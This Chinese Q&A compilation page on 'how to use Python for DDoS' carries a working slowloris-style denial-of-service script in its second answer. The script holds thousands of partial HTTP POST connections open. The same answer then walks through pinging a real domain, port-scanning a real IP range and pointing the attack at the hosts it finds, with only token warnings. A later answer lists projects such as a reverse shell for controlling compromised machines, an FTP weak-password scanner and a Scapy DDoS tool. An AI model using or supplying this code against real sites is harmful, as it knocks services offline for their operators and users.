python学的ddos怎么用

from selenium import webdriverdriver = webdriver.Firefox()driver.get(website)driver.find_element_by_class_name("c-icon-triangle-down-d").click()

❷ 如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:


import socket

import time

import threading

#Pressure Test,ddos tool


#---------------------------

MAX_CONN=20000

PORT=80

HOST=".com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿网络做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------


buf=("POST %s HTTP/1.1 "

"Host: %s "

"Content-Length: 10000000 "

"Cookie: dklkt_dos_test "

" " % (PAGE,HOST))

socks=[]

def conn_thread():

global socks

for i in range(0,MAX_CONN):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((HOST,PORT))

s.send(buf.encode())

print ("Send buf OK!,conn=%d "%i)

socks.append(s)

except Exception as ex:

print ("Could not connect to server or send error:%s"%ex)

time.sleep(10)

#end def

def send_thread():

global socks

while True:

for s in socks:

try:

s.send("f".encode())

#print "send OK!"

except Exception as ex:

print ("Send Exception:%s "%ex)

socks.remove(s)

s.close()

time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()


如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,最好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 .com

//这里拿网络做示范,别真打网络!

那么,就会发现,系统反映了:

正在 Ping .com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52


39.156.69.79 的 Ping 统计信息:

数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,网络的服务器有一个主服务器是39.156.69.79

那么,就来查找网络的所有服务器吧!

输入以下代码:


#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴


#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t


def ports(ports_serve):

#获取常用端口对应的服务名称

for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

try:

ports_serve[port]=socket.getservbyport(port)

except socket.error:

pass


def ports_scan(host,ports_service):

ports_open=[]

try:

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#超时时间的不同会影响扫描结果的精确度

socket.timeout(0.01)

except socket.error:

print('socket creation error')

sys.exit()

for port in ports_service:

try:

#尝试连接指定端口

sock.connect((host,port))

#记录打开的端口

ports_open.append(port)

sock.close()

except socket.error:

pass

return ports_open


if __name__ == '__main__':

m=multiprocessing.Manager()

ports_service=dict()

results=dict()

ports(ports_service)

#创建进程池,允许最多8个进程同时运行

pool = multiprocessing.Pool(processes=8)

net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

for host_number in map(str,range(8,10)):

host = net + host_number

#创建一个新进程,同时记录其运行结果

results[host] = pool.apply_async(ports_scan,(host,ports_service))

print('starting '+host+'...')

#关闭进程池,close()必须在join()之前调用

pool.close()

#等待进程池中的进程全部执行结束

pool.join()


#打印输出结果

for host in results:

print('='*30)

print(host,'.'*10)

for port in results[host].get():

print(port,':',ports_service[port])



你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指网络只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

❸ python能做什么有趣的东西

python能做什么有趣的东西?下面给大家介绍35个Python实例:
1. Python3 实现图片识别
2. Python3 图片隐写术

3. 200 行 Python 代码实现 2048
4. Python实现3D建模工具
5. 使用 Python 定制词云
相关推荐:《Python教程》
6. Python3 智能裁切图片
7.微信变为聊天机器人
8. 使用 Python 解数学方程
9. 使用 Python 创建照片马赛克
10. Python 基于共现提取《釜山行》人物关系
11. Python 气象数据分析:《Python 数据分析实战》
12. NBA常规赛结果预测:利用Python进行比赛数据分析
13. Python 的循环语句和隐含波动率的计算
14. K-近邻算法实现手写数字识别系统
15. 数独游戏的 Python 实现与破解
16. 基于 Flask 与 MySQL 实现番剧推荐系

17. Python 实现英文新闻摘要自动提取
18. Python 解决哲学家就餐问题
19. Ebay 在线拍卖数据分析
20. 神经网络实现人脸识别任务
21. 使用 Python 解数学方程
22. Python3 实现火车票查询工具
23. Python 实现端口扫描器
24. Python3 实现可控制肉鸡的反向Shell
25. Python 实现 FTP 弱口令扫描器
26. 基于PyQt5 实现地图中定位相片拍摄位置
27. Python实现网站模拟登陆
28.Python实现简易局域网视频聊天工具
29. 基于 TCP 的 python 聊天程序
30. Python3基于Scapy实现DDos
31. 高德API + Python 解决租房问题
32. 基于 Flask 与 RethinkDB 实现TODO List
33. Python3 实现简单的 Web 服务器
34. Python 实现 Redis 异步客户端
35. 仿 StackOverflow 开发在线问答系统

❹ python mysql插入数据成功且已提交,但无法查询,是什么问题

具体原因还需要你自己调试,你的代码里面有如下几个错误:
1.cursor每次执行完毕后专需要执行cursor.close用来关闭当属前线程
2.在循环中反复执行insert根本无效率而言,你在while里面把所有的数据都存入sql中, 比如insert table(A,B) values(1,2),(3,4),(5,6),跳出循环后再执行cursor.exec.
3.循环中提交可能会出现这样的问题,你不断的使用cursor提交,实际在程序在不断的创建新的端口和mysql的3306建立链接,如果循环很大的话,这简直就是对数据库的DDOS攻击。 当达到你服务器性能的瓶颈的时候,你用show process list会看到你的数据库中存在大量的处在waiting状态的SQL, TCP/IP的连接数也会处在一个惊人的峰值。这时候MYSQL会拒绝服务。
4.在程序里面把访问数据库包装成一个类或函数是一个好的习惯

❺ 怎么用python做一个简单的定时ddos攻击代码

你想干嘛呢
如果基本库不了解就去做这些技术不会有长进的눈_눈